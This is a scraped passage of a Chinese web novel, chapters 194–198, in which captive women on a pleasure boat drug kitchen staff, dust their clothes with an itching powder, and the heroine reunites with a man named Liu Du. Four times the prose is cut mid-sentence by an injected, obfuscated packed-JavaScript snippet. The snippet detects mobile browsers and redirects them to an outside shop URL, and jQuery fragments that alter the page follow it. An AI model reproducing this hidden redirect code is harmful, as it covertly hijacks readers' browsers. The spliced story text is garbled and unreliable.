钱丛无奈,又回去将那掸子扔了回去。虞初看着她忍不住又吐槽了一句:“你直接扔了就是,干嘛还要扔到我刚刚扔的地方!” 钱丛这才也反应过来傻笑:“实在是太紧张了,没干过架!” 极风娘子听见这两人在后面叽里咕噜的,无奈的摇了摇头也别无他法。来到那几个厨子住处,极风娘子转身看了眼虞初:“你要怎么处置她们?” “处置?”虞初怯怯的笑道,“我也不是了不起的大人物,谈不上处置。不过就这样放她们安生我也不甘心。不如……” 虞初奸笑的看了看钱丛:“敢不敢去偷东西?” “啊?”钱丛为难的尬笑,“不是不敢,就是不怎么……会……” 易桦得意的拍了拍钱丛的肩膀:“那你跟着我,这个我会,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387967|134603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小时候总去偷馒头吃。” “不怕,我有办法。她们不是很喜欢用迷香吗,那我也就不客气了。”说着虞初从腰间拿了跟火铳点燃了手里的几根细香,等燃了让她们捂住鼻子,一人拿了一个从窗纸那边扔到了屋里。大概又过了一刻,虞初招手示意她们可以去行动了,四人一人进去一屋,都去将那几个婆子的衣服偷了出来。 不出意外,手脚麻利的极风娘子是第一个出来的,后面钱丛虽慢了些,好在也是不辱使命,抱着一堆衣服就小跑了出来。虞初上前帮她接了衣裳,然后就摊开几人拿过来的衣裳,往上面倒了些不知名的粉末。 “这是什么啊,珍珠。我发现你身上总好多稀奇古怪的东西,好神奇。” 易桦满脸好奇的看着元珍珠,然后看极风娘子去旁边捡了根树枝在那边翻拨着衣裳,自己也跟着拿了根树枝帮忙去了。 “好了,差不多了,再多了就过分了。”虞初说着不知道想起来什么,捂住嘴巴笑了起来,“明日就有好戏看了。” “好了,你们刚刚拿过来的衣裳再都送回去。” 虞初一边嘱咐她们送衣服的时候尽量不要碰到衣服,一边给三个人分发长袖手套。 “你这准备的挺齐全啊,看来出来的时候就想好了怎么做了,难怪你让我将那掸子扔掉。”钱丛笑嘻嘻的接过手套,套上后两手直挺挺的抱着衣服往刚刚那屋去了。易桦也不多言,先去做完事再说。 片刻过去…… “珍珠,易桦呢?” 钱丛送完衣服就出来摘了手套递给珍珠,极风娘子从里面随便找个了布袋子递给虞初,让她装脱下来的手套。 “易桦怎么还没出来?” 钱丛转头看了看易桦去的那间屋子,好像里面也没有什么奇怪的动静。 虞初和极风娘子听见钱丛说话,突然也意识到了易桦确实是进去很久了。况且这是返回去送衣服,不是刚进去屋里还要找衣服挂在哪里会花费些时间。 “不会是被人发现了吧!”钱丛一时间觉得身子都有些僵住,就这一瞬间,她似乎将所有最不好的情况从头到尾都想了一遍。 虞初收拾好手套,看了看极风娘子。 “我这迷药药性挺好的啊,不会这么快就醒了吧,难道是有人压根没被迷倒?” “先别说了,我们去看看。” 虞初将布袋扔到一旁,跟着极风娘子后面轻手轻脚的往易桦去的那间屋子走去。极风娘子一手推门,一手护在虞初身前。她先是在屋里扫视了一番,空无一人。虽然里面黑漆漆的,视线不是很好。不过极风娘子习惯了这样的黑夜,倒也不觉得是什么难事。就是易桦的身影她们都没有看到。 极风娘子谨慎的走在前面,里面两张床上睡着的人都还酣睡,时不时的还能听见打呼。可是易桦呢,好好的一个大活人怎么就突然不见了。三人相视一看,分头去寻人。 195. 第 195 章 钱丛往右边走去,那边是挂衣服的地方。她推开里门,跨步向前。可是门很快就又被什么东西弹了回来。钱丛意识到门后有人,立马使劲的推住门生怕后面的人跑出来。 “珍珠贝贝,救命!” 极风娘子和虞初听见钱丛小声喊她们,立马转向过来钱丛这边。极风娘子见钱丛危险,上前就朝着那门狠狠的踹了一脚。可是刚踢完门是往后了一些,一会,这门又弹了回来。钱丛哭丧着脸:“这是人是鬼啊,可别让她出来了。” 极风娘子见状让钱丛往后还要一脚。虞初意识到什么立马上前阻止:“别,你确定后面是……” 钱丛瞬间明白了元珍珠的意思,可是她又胆小不敢上前查看。极风娘子将钱丛拉到身后,身子往左侧了一些,直接用脚勾住门框边缓缓打开。 “老天爷!”钱丛捂住嘴两眼睁得滚圆。 易桦整个人被夹在门后,极风娘子将门打开一些她侧着的身子才又躺平下来。她凑到易桦脸旁看了一下,除了两个鼻子都留着鼻血,其他的暂时还看不出什么异样。 虞初连忙上前查看易桦的情况,一顿检查过后,虞初丧着脑袋苦笑:“伤得不轻!” “可是,是谁伤她成这样,她进去时不是好好的吗?”钱丛关心的扶起易桦轻摇,想要看看易桦是否还有知觉。 虞初看着钱丛一脸无辜的模样倒吸一口凉气:“你和她……”虞初侧身指了指身边的极风娘子,“易桦之所以晕倒,我想是因为她进来屋里忘记捂鼻子了,吸到迷药所以就晕倒了。” “可是为何我们三个无事,我现在也没捂鼻子啊!”钱丛还是不相信易桦会平白无故的倒下,话虽如此,她还是连忙两手捂紧自己的口鼻,以免自己中招。 “那你刚刚去放衣服的时候有没有捂鼻子?” 钱丛看着元珍珠仔细回忆起自己刚刚的情况:“确实我进去的时候是憋着气的,可是刚刚进来这里我大概是太着急了,只想着找人,忘记捂鼻子了。你看我现在,怎么一点事情都没有?” 虞初走近钱丛蹲在她身旁:“你还闻到了什么?” “没有啊,就……哦,我还闻到你身上的香味,这是什么香?”钱丛深深的吸了口气,然后拉着元珍珠的衣袖放在自己嘴边又深深吸了一口,“没错了,还闻到你身上的香味。话说回来,我之前就想问你的,从第一日见你,我就隐约闻到了你身上的味道,虽不浓郁,倒也常沁于鼻间,特别是跟你站在一起的时候最为明显。我从小闻过的香味也不在少数,你这样的我还真没闻到过。” “确实不多见,是我一个长辈给我的香囊!说是平时可以防蚊虫叮咬,可能正好可解这迷药药性。你刚刚进来这里虽然没有捂住口鼻,不过你一直跟我在一起,也就没有中招。易桦应该是中了迷药的招,刚走到这边就倒下去了。后来的事情你应该比我还要清楚一些!” 虞初下意识的伸手摸了摸自己腰间的香囊,这是上次跟王世明关在一起差点出事后,王世秦害怕还会发生这样的事情,特地求师傅给她配的百解。虽然这香囊并不像名字一样厉害,但是对这种药性不大的还是很管用的。 钱丛恍然大悟之下立马柔和的拍了拍易桦的脸蛋:“易桦你醒醒,你别吓我,我不是故意的!”钱丛吓得带着哭腔摇晃着易桦。极风娘子实在看不下去了上前帮着钱丛一起拉着易桦往外走。钱丛见易桦的腿在地上拖着,跟上前两手一起抬起易桦的双腿离地。 “也就是皮外伤,你别听珍珠胡说,不就是踢了两脚,无碍的。” 钱丛听了元贝贝的话这才心中轻松不少,尽管这样,整晚钱丛都守在易桦床边。她靠着易桦睡觉,想着若是夜里易桦醒来有哪里不舒服,自己也能第一时间发现。 直到翌日清晨…… 易桦坐在床沿边看着自己面前东张西望的三个人沉默瞪眼。虞初抓耳挠腮的很不自在的坐在中间,钱丛一脸愧疚苦脸相对着易桦欲言又止。相比这两人,极风娘子倒是淡定不少,她静坐在虞初旁边,两手环抱着看着易桦:“给你涂过药了!” “涂药,谁给我涂的?” 钱丛和极风娘子默契的指着坐在中间的元珍珠:“她!” 虞初极力想撇清自己的嫌疑,激动的直接站了起来:“易桦,你自己说,我给你涂药还不好吗,没有我给你涂药,你那个肩膀今日估计能胖一大圈!” “你为什么给我涂药,是你打我的?”易桦嘟着嘴两眼泪汪汪的看着元珍珠,“珍珠,你为什么要打我……” “哎……哎……这话有意思了,谁给你涂药谁就是打你的人吗?我可以发誓,你身上的伤我可是没有半点贡献的。就是那迷药,也是你自己大意吸进去了,着可怪不到我身上!” 元珍珠竟然当着自己的面发誓,易桦自然也就相信了她的话。接而将可怜兮兮的目光转嫁到其他两个人身上。 极风娘子一脸淡定,她平时就是个冷脸,易桦也不觉得奇怪。倒是旁边的钱丛,平日里柔弱似风,怎么此刻竟然是她满脸的歉意,那“对不起”三个字就差拿张纸贴在自己脑门上了。 “这么说来,是你了钱丛?”易桦捂着自己肿起的嘴巴哭诉道,“你干嘛打我脸啊,钱丛。看你柔柔弱弱的,怎么力气也这么大的?” 极风娘子坐在旁边不自觉的摸了摸鼻子憋笑,易桦一直死盯着钱丛,自然也没察觉到极风娘子心虚的小动作。 “我……我也不知道,易桦,我真的不是故意的,我当时实在太害怕了,我以为是坏人在门后面……对不起易桦……”钱丛一边安慰一边俯身伸手到易桦的脸边帮他揉着肿胀的嘴巴,“还好没有破相,等这肿块消下去就好了……” “你说的轻松,好痛啊知不知道!”易桦抱怨的看着虞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434685|134603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初,“本以为今日可以看那些老婆子们的笑话,现在好了,都来看我的笑话了!” “她们倒是想来看你的笑话,可惜自顾不暇,根本就注意不到你这边。再说……”虞初转头看了一眼门口,见无人在旁凑到易桦跟前,“你如今这样是最安全不过的,曹娘以为你当真是梦游给自己撞成这样,就是安排人做事也不会安排你的。休息倒是另说,逃过一劫不是很好?” 易桦一本正经的听着元珍珠的话默默点头,她自己在看到自己这张肿胀的脸时,说实话第一个想到的也是可以顺带逃过一劫。她不爽的抿了抿嘴:“确实,也不用日日担心会被单独叫走了……”易桦刚说出来这话,立马改口,“我也不是说被单独叫走不好,就是……” 易桦尴尬的看着元珍珠,两手不停的摇着,生怕说慢了元珍珠就要破防崩溃,“珍珠,我真的没有旁的意思,我就是嘴太快了,我……哎……我也不是嘴太快……我就是……” 怎么辩解都很尴尬,易桦从未觉得自己竟然这么不会讲话。情急之下伸手就甩了自己一嘴巴子,“都是这张嘴……” 虞初惊讶的睁着眼睛一把拉住易桦的胳膊:“你这是作甚,还嫌弃自己的嘴巴不够肿。还是你故意的,想自己可以多休息几日?那你好好的也别用我做借口,自己随便去寻个角落自己扇自己,我也不用心里过不去了!” “珍珠……”易桦撒娇的拉着元珍珠的手,试图让她心情好一些。可是元珍珠好像看起来并不是很在意她刚刚说的那句话,时不时的还朝着元贝贝笑她。 正嬉闹着,白里急匆匆的推开门,她跨步跑到虞初的身边:“珍珠姐姐,曹娘往你这边来了,我看她脸色好像不对!” 极风娘子谨慎的起身看着门口,白里简单说了几句就赶紧跑开,不敢在这里逗留,以免被曹娘发现她先过来通风报信又要落个错处。 “那个曹娘又要来做什么?”钱丛反应是最大的,毕竟昨日元珍珠也是因为替她,才半夜才回来。具体发生了什么事情珍珠是一句都不肯提,她嘴上不问,心里总觉得元珍珠是故作坚强。元珍珠脸上越是不在意,钱丛心里就越是愧疚。 钱丛虽然害怕,但在曹娘进来的前一刻还是往虞初的身前多站了一些。虞初看在眼里,虽想上前跟钱丛好好解释昨日的事情,可是自己有很多话也不好直讲,再怎么解释钱丛也只会认为她都是为了安慰自己才编的好话。 可是愧疚一直埋在心里,是比棍子打在身上还要煎熬的。这些她心里最清楚。 很快曹娘就到了屋里,韩白里不知何时走到了曹娘的后面,小脸红扑扑的故作镇定。 曹娘先是扫视了一圈屋里,觉得收拾的还算干净,也就没有找茬。她看了看钱丛,见她又委屈又倔强的表情有些不明所以:“你这是怎么了,怎么好像跟我有天大的仇似得?” “对!” 196. 第 196 章 钱丛刚开口,虞初立马插话:“对不起,曹娘,这钱丛妹妹刚刚跟易桦有了点小矛盾,正气着呢。不是故意跟你这样的。” 易桦也连忙接话:“是的是的,曹娘,我刚刚怪她昨夜里梦游她没看好我,这才导致我现在这副模样。她还委屈说凭什么要看着我,你说我们本就一个屋里的,哪有不相互帮衬的。” 曹娘听见她们你一句我一句的吵嚷起来,满脸的不耐烦,无奈点桌制止道:“好了好了,现在不是追究你梦游的事情。后厨出事了,不知怎么搞的,后厨的那几个婆子的身上今日都不大好,浑身奇痒难耐,身上都挠的不成样了。后厨没几个人能干活,也拨不开人手帮忙协助。你们几个之前在后厨待过,这两日就都过去那边帮忙吧。”曹娘嘱咐完了,又瞥眼看了看元珍珠脸上的表情为难道,“珍珠,你跟我过来一下!” 曹娘上前拉着虞初的胳膊将她往旁边拽了一段距离,她龇牙吸了口气,两眼在眼眶里来回打转:“珍珠啊,后厨的那几个妇人到底是干活的,这一日不好你们就要在后厨帮衬一日。你说你们几个整日泡在那后厨,真的是暴殄天物,就是再嫩的手洗上个几日也娇软不起来了。” “珍珠愚钝,曹娘不妨有话直说。”珍珠一脸无辜的看着曹娘,那副真诚模样好似不谙世事的娇柔女子,让人不忍多怀疑一分。 “钱丛那针灸术不知道能不能治好后厨的那几个……” 虞初本来以为曹娘会严查后厨突然集体中招肤痒之事,没曾想她竟然只是想让钱丛去看看能不能医治。 “船上不是有十几位技术高超的大夫吗,就这几人的肤痒之症应该难不倒他们吧?” 曹娘听到后立马伸手拍着自己脑袋皱眉深叹:“何尝不曾去请他们看过,虽都说不难医治,到底也要喝上几日的药才能见好。你知道的,这后厨的事情说大不大,说小也不小。前面客少还好说,可客多起来后面跟不上也是会乱套的。我就在想钱丛这丫头有没有可能能让她们好的快一些。一来解决了后厨人员不足的问题,二来你们几个姑娘也轻松一些不是。只是这钱丛我看她每次跟我说话都慢吞吞的,要不然就不说话,还得你上前好好说说,陪着她一块去。当然,我昨日也听说了你跟那几个婆子的过节,就怕你心生隔阂不肯帮忙。” “我是不愿意去帮忙,如今她们也得了报应,我心下开心还来不及。只是曹娘你既然说了话,我也不能佛了你的面子。心下一百个不愿意也还是要以大局为重的。” 曹娘刚刚还紧绷的脸立马松快了不少,她拉着元珍珠的手笑道:“还有一事,珍珠啊,我这……” “难不成还有比让我以德报怨更开不了口的事情?”元珍珠抓着曹娘的手轻笑,看起来她早就不在意后厨那几个婆子为难她的事情了。 “昨日我本意是让你休息一两日的,可是那刘公子……”曹娘为难的抬眉注意了一下元珍珠的表情,见她没有过于抗拒又继续试探道,“那刘公子今日又来了,还点名要你去。我不是没找别的姑娘先去服侍,可是都被刘公子不留情面的给轰出来了。你说这……” “曹娘,昨日他那个样子你也是见过的。我知道自己身份卑贱,不好提要求装脸面。可这船上来的不是达官就是显贵,有涵养的大有人在,你就只把我往羊口里送。” 曹娘见元珍珠不肯,嘴角上撇,眼神也变得奚落严厉起来:“干这行的最忌讳的就是挑客人,不是我没有提醒你,这船上还有几个是不会挑客的,你那日不也看到了吗?” 虞初愣了愣看着曹娘阴险的轻笑,想到前两日确实在船上看到了四五个眼盲耳明的姑娘。想来也不是天生的,真的是造孽。 “非去不可吗?” “那是自然,我还要提醒你的是,那刘公子可是我们这里排的上号的富商,你若是真的得罪了他,我就真是的帮不了你。他今日特地让我关照你,我看他多少对你是有意思的。搞不好这也是你的福气,以后靠着他也不用在这船上讨生活了。” 虞初心下暗自冷笑,这地方讨生活的好像大多都不是自愿的,现在从曹娘口中说来,有幸被人买走倒是像给了多大的恩德。原来众人口里的哀乐不同,是非也是不一致的。 “曹娘你关照我,珍珠我心里都是清楚的,曹娘你既说了我自然配合,不会让你为难。” 曹娘欣慰的看着元珍珠:“既然如此,等下你就带着钱丛先去后厨,看看那边若是能有办法帮上忙那是最好的。不管好与不好,尽力就是。然后你就来我屋里找我,我带你去找刘公子。” 虞初不情愿的点头,曹娘知道自己话都说清楚了,也不再跟别人交代什么,转身就直接走了。 韩白里跟在曹娘身后快步疾走,就是这样还差点赶不上曹娘的步伐。 “难道真不是那个元珍珠搞的鬼?”旁边的丫头跟在曹娘旁边,她还是不怎么相信曹娘竟然这么轻易的就放过了那个元珍珠。 “若真是她,我让钱丛去帮你嫂嫂她们医治这肤痒之症时她就不会如此轻易的就答应了。若真是她搞的鬼,那几个人全都中招也不是一个人就能轻易完成的,观察她几日,人虽机灵但看着也不像有这等本事的人。若是好几个人一起干的,那几个婆子岂会一点都没察觉。按我说,这后厨也该清洁清洁了,那大夫不是说了,也可能是里面阴潮不净才引发的坏肤之症。” 旁边的丫头听后不好多言,毕竟说多了曹娘又要说她是为了帮后厨的嫂子出气,非觉得元珍珠有问题。她思量了一会转移话题道:“那刘公子到底是什么来历,脸曹娘你都不敢得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482287|134603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罪?” 曹娘转头打量了那丫头一番:“不该你问的就不要多嘴,跟在我身边也有三年了吧,怎么还不懂规矩?” “是……下次不敢了。”丫头识趣的闭了嘴,只跟韩白里一样只跟上脚步不再多言。 曹娘见丫头还算听话,自己反而主动说了起来:“这刘公子的财力可不一般,这么多年,这船上做生意的在他钱庄借银子的不少,把握了不少商家命脉。只是这刘公子来这这么多次了,还真的是第一次见他对一个女子有兴趣的。”她转头推了一下身旁丫头的头,“说到底也是你自己不争气,你怎么就被那刘公子给赶出来了?” “曹娘,这真不能怪我,那刘公子看起来风度翩翩,气俊如兰。可是他整个人就跟个冰坨子一样,姑娘们背后都议论若是进了他的房间,整个人都不敢多走动一步。奇怪的是他也不曾打骂人,就往那边一坐,整个房间的气氛瞬间就降到冰窖一般。问我们的话也都奇奇怪怪,就问我们今日都做了什么,从哪里去了哪里,住哪里,吃什么。” 曹娘听后不禁停下脚步思量起来:“他问你们吃什么,住哪里做什么?” “哦,这个我有问过他,他说每日无聊,就喜欢听听有趣的事情。可是我们一日间都在这船上过生活,能有什么有趣的事情,后来就都被赶出来了。大概是想换个人,看看她会不会有什么好玩的事情吧。” “这刘公子癖好还挺奇特,到底是个富贵闲人。你也不用多想,他那样的多半是该玩的都玩过了,想找些新鲜乐子的。难怪昨日那元珍珠得罪了他,他今日还要找她。我想是你们这种循规蹈矩的看多了,腻烦了,想换换口味,这才想找个会医术的,也算有点乐趣。这元珍珠你还别说,以后指不定会是下一个离船的,可比你们机灵多了。若是她真的有本事让刘公子赎人,跟钱娘子一样再用手段上位得了身份,那就不是你们能得罪的了。你以后对她别做的太过,日后余地还是要替自己铺好的。” 丫头豁然开朗的“啊”了一下,点点头庆幸自己只是在曹娘跟前吐槽了几句,没有真的得罪到本人。 后厨的那几个婆子刚开始看见元珍珠带着钱丛说是来帮她们治病,个个只是干挠狠抓,就是都不敢上前一试。生怕这个元珍珠趁机报复,再添重了病症。 “都不来看,那我们走了,你以为我是自己想来的吗?” 虞初说着转头就拉着钱丛准备离开,那个带着她们过来的曹娘身边的那个婆子赶紧拉住她们笑道:“这肤痒之症确实会让人心情烦躁难耐,也不是故意不理睬你们的,你看她们,手就没从身上离开过,一直在那边挠呢!” 虞初刚想说话,钱丛拉了拉虞初的袖子,朝着她摇头。虞初也欣然的闭嘴走到了旁边,让钱丛自己与那个婆子交流。 197. 第 197 章 绒学 钱丛先是上前随便看了一个婆子的胳膊,然后再将她的衣裳掀开看了一眼:“今日没有服药吧!” “有喝过王大夫开的药,刚喝没多久,也不曾见效!”站在身边的婆子立马搭话解说。钱丛先是看了眼那个婆子,然后又看了看站在旁边不吭声的元珍珠一本正经道:“你把药方拿过来给我瞧瞧。” 婆子看了眼姚嫂,她不耐烦的指了指床边的柜子:“在这呢。”说完立马又不停的挠了起来。 钱丛接过药方,拿在手上看了很久唉声叹气道:“这可如何是好,我这治疗的法子可不能先喝过别的药。这药方正好与我这针法想冲,不仅不能缓解,反而还会加重她们的肤痒之症的。” “那这……” 姚嫂哼道:“我就说元珍珠会这么好心来给我们瞧病。我看她巴不得我们早点出事才对!” 旁边的婆子连忙拍了拍姚嫂:“你也少说一些,真不瞧你也不能把她们怎么样,终是自己受着。” 姚嫂白眼翻天,只顾自己挠痒,也没心情去巴结元珍珠和钱丛。 “姚嫂你还真是误会珍珠了,真就是你们刚刚那碗药误了事。我也想赶紧替你们治好,那样我们也不用日日去后厨洗碗洗盘了,大家一举两得皆大欢喜。可是我刚刚说的也是事实,你们当中若是有人不信,大可过来我这边先施针。只是到时候严重了也不要怪我没有提前预知过你们。”钱丛拿出手上的针灸包摊在桌上,从上面抽出一根细长针拿在手里走到姚嫂旁边,“姚嫂你若不信,我可以先为你医治的。” 姚嫂见钱丛过来,整个人身子往后倾斜一大截。刚刚还不顾一切的她立马委婉低声道:“钱丛姑娘,我也不是针对你不信你。只是我实在是痒的难受,刚刚说话就过激了一些。” “姚嫂是不愿意让我来针灸?” “也不是不愿意,只是姑娘你刚刚都说了我喝了药就不能针灸,我想想还是听姑娘的吧。”姚嫂尴尬的在脸上轻笑的两声,“明日不喝药是不是钱姑娘就能帮我们针灸了?” “嗯,还要辛苦你们再熬上一日。”钱丛转身收起针包,然后礼貌的拉着元珍珠离开了后厨住处。 “亏你想的出来!”虞初走在钱丛身后,突然蹲地拔了根地上的长绒细草。 钱丛好奇的走到她跟前,也蹲下身子仔细观摩着元珍珠手里的那根平平无奇的草。 “这是什么,珍珠,我前两日也看到你拔了几根这个,是有什么用吗?” “这叫绒学。” 钱丛伸手要去拿,虞初赶紧让开笑道,“这可不能随便碰。你瞧这绒学,我那日给她们衣服上撒的就是这绒花研磨开的,当然我还加了些旁的的才会有这样的效果。你现在碰了,虽不似她们那样强烈的痒症,一两日的刺挠肯定会持续的。” “既是如此,你现在又拔了做什么,还不赶紧扔远一些。” “不得不说这船是真大,走在船上,若不是偶尔会有晃动,还真跟走在地面一样。就说这绒学,长在这些名花贵草当中,还真是起眼。只是这绒学喜燥,多在干旱之地生长,怎么这里会有呢!” 钱丛见元珍珠自言自语,忍不住上前挥手:“珍珠,珍珠,你说什么呢,叽里咕噜的。你还是将这绒学扔掉吧,别到时候你不小心碰到难受。” 虞初看了看一脸真诚的钱丛:“这绒学的根就是治疗这肤痒之症的关键。我摘点回去熬根制药,你晚上的时候将其中的两根银针泡在汁水里面。明日去给他们每个人随便挫扎几下就好了。” “啊?” “别啊了,等会回去你仔细看看我给你的那张图纸,我标记过的这几个穴位是不能碰的。我明日不一定还跟在你身边,你自己把握就是。不过你也不用怕,照我说的做就行。” 钱丛虽说一脸彷徨,还是听话的点了点头。 “珍珠,你当真是懂医术的吧,我总觉得你不是一般人。”钱丛一脸认真的跟在虞初后面,由衷的发出了这些感慨。 “小时候学过一些,皮毛而已。就像你的女工一样,我也很自愧不如啊。” 钱丛点了点头,确实如此。女红也是小时候在母家的时候从小学起的,因为世代都是做这行的,她女红出色也是常理之中的,想必元珍珠亦是如此。 虞初用手帕包好绒学后递给了钱丛:“你先收起来,若是我回来的晚了你就自己熬个根水,不难。不过你小心一些不要被人发现。若是有人瞧见什么你也不要慌,就说给她们熬制的缓解痒痛用的。” “珍珠你放心,这些都交给我,我明白应该怎么做了。”钱丛放好手帕又疑惑的看着珍珠,“你不跟我一起回去吗?” “曹娘找我还有些事,我去那边瞧瞧。”虞初看钱丛表情有些担心,又轻松笑着安慰起来,“你这什么表情,她就是找我看看后厨这两日怎么打理。姚嫂那些人不是还不能做事嘛!” 钱丛听到是后厨的事情这才放心下来:“原来是这事,那珍珠你去吧,绒学的事情就交给我了。晚上你也不用赶回来做,我等下回去无事就弄了。” “好的,你自己也小心一些,尽量不要碰到上面的绒花。若是真碰到了,你就用那个根水涂一下就好了。” “我不理解,既然根水涂一下就好了,碰到绒花也没什么事情吧。” “你就听我的就是了。” “好的,我尽量不要碰到就是。” 二人分别过后,虞初只身去了曹娘的屋里。曹娘听见她来了就遣开旁人让虞初自己进来了。 虞初还是第一次来到了曹娘的屋里。这屋里摆件不多,可每件都是常人买不起的稀奇珍品。床边是一个琉璃花灯,这花灯虞初见过,在宫里的时候。 “这是什么,晶莹剔透的好漂亮!” 虞初走到那琉璃花灯旁边表情浮夸的欣赏着这稀罕物。曹娘也得意的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508781|134603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走到虞初身边一副习以为常的表情:“这是琉璃盏,晚上点灯的时候只需这一盏灯,整个屋子就会明亮如白日。不过你没见过也正常,这东西本就是蕃国进贡给朝廷的,寻常人一辈子也没见过一次。” “实在是太好看了,怎么会有这么好看的东西。晶莹剔透的如冰雕一般,今日果然是开了眼了。” 曹娘被虞初的一顿马屁哄的神采奕奕的,她昂着头得意的劝诫元珍珠道:“这其实也算不上什么,这船上比这好的东西比比皆是。关键是你要有本事拿!” 虞初杵在那边假装没听懂曹娘的话,还绕着琉璃盏绕有滋味的欣赏着。曹娘怎么会看不出元珍珠的故意,她也不恼,只是淡淡的继续道:“你听得懂我在说什么,你比那几个都要聪敏些。要不然你现在也不会站在我这里了。” 虞初转身望了望她,许久她低声问道:“若是我不听话,那又如何?” 曹娘奚笑:“不听话自然有不听话的法子。我横竖不过是可惜两日,转身就都忘了,还会有新人过来。可是不听话的人,没有机会重来!” 虞初愣住,尽管她先前已经知道这船上是如何处置那些不听调教的姑娘。可当她听见曹娘如此轻易平常的说出这些是还是会有些心有余悸。性命在她们眼里,大概是最不值一提的吧。 “曹娘你说的对,我现在竟然出现在你这边,就已经想好以后要怎么做了。刘公子虽然性情古怪,可是你也说了,他可是富甲一方的。他是我当下唯一的稻草。” 曹娘听到元珍珠能有如此觉悟自感欣慰,她本来就觉得这个元珍珠孺子可教,如今看来,确实没有看走眼。 曹娘领着虞初就往前厅去了,后来将她送进了一间屋子。刚进屋子,虞初闻到了那熟悉的味道时,心一下子就安定了不少。 屋里没人,虞初扫视了一番径直走到了桌边坐下。可屁股刚沾板凳,虞初就立马站了起来。她轻声走到了墙边,伸手朝着那墙上敲了两声,然后贴耳趴在墙上不知在听着什么。 “我站在你身后这么久你都没有发觉吗?” 虞初还是不说话,继续趴在墙上一动不动。刘渡再欲开口,虞初伸手止住:“嘘!” 过了一会,虞初终于不再趴在墙上,直身转头看着还站在身后的刘渡:“我知道你在我身后!” “嗷?”刘渡情绪不高的转身就走到刚刚虞初坐着的那个位子,拿着桌上刚刚就倒满的茶杯喝了下去。 “你喝的是我的水!” “你倒的水我不能喝吗,还是说你不想欧文喝你倒的水?” 虞初走到刘渡跟前也坐了下来,伸手就抢过刘渡手上的水杯:“殿下还是喜欢抢别人的水喝!实在想喝水,我也不是不给你倒!” 虞初喝完水才又大喘口气笑了起来:“我真的知道你来了,刚刚我趴在那边,本来淡淡的檀木香味突然变得浓郁起来,我就知道肯定是你来了。” 198. 第 198 章 “你刚刚趴在那边到底在听什么呢?”刘渡拉了拉凳子往虞初跟前凑了凑,“这么久了,初儿你还记得我的味道?” 虞初看着刘渡稍显得意的嘴角故作镇定,她伸手到刘渡腰间揪下他的香囊荷包。花色虽有些黯淡整体却还是干净似初:“这香囊你还留着?” “嗯,于我而言比较重要,意义重大!” 虞初看了看刘渡,又将那香囊重新系到了刘渡的腰间不再说话。她看着刘渡抿嘴笑了笑却不知道该说些什么。这香囊是夏蓠给他的,他说意义重大的时候虞初觉得理所应当,可是心下难免还是会有些酸涩。突然间她情绪低落的看着手中的水杯:“我在北凉的时候时常会想起夏蓠,在府上的那段时间是我最无忧无虑的时候。” “夏蓠给我香囊荷包的时候,她说这是你绣的。”刘渡伸手捏了捏虞初的嘴巴,“针脚确实不如她的精细,倒也别具一格。你还没说你刚刚趴在墙上做什么呢!” 虞初皱眉思索,突然又将香囊重新揪了回来仔细观察着上面的针脚:“这好像真的是我的,是夏姐姐教我绣的。当时我在她那边绣了好多帕子,都不怎么样。我就让夏姐姐给扔掉的。”她的手指在绣花上来回摩挲,“原来被她做成了香囊。我起初看这香囊还觉得绣工不错,图样也好看。只是现在怎么突然又觉得这图样确实很一般了。” 虞初仔细把玩着香囊,她将香囊凑在自己鼻尖闻了又闻,这熟悉的檀木香气顿时激起了她心里的涟漪,瞬间红了双眼。 “都说最能勾人回忆的就是味觉了,直到此刻,我才真的意识到了,你是真实的在我身边。” 刘渡心疼的看着虞初,这两次见面,虞初表现的太过淡定。她见到他的时候既不大喜也不大悲。八年的时间,好漫长。可在虞初身上,好像只是过了八年。直到这刻他才明白,不是她不激动,是她没有从心底里相信,他们真的又相遇了。 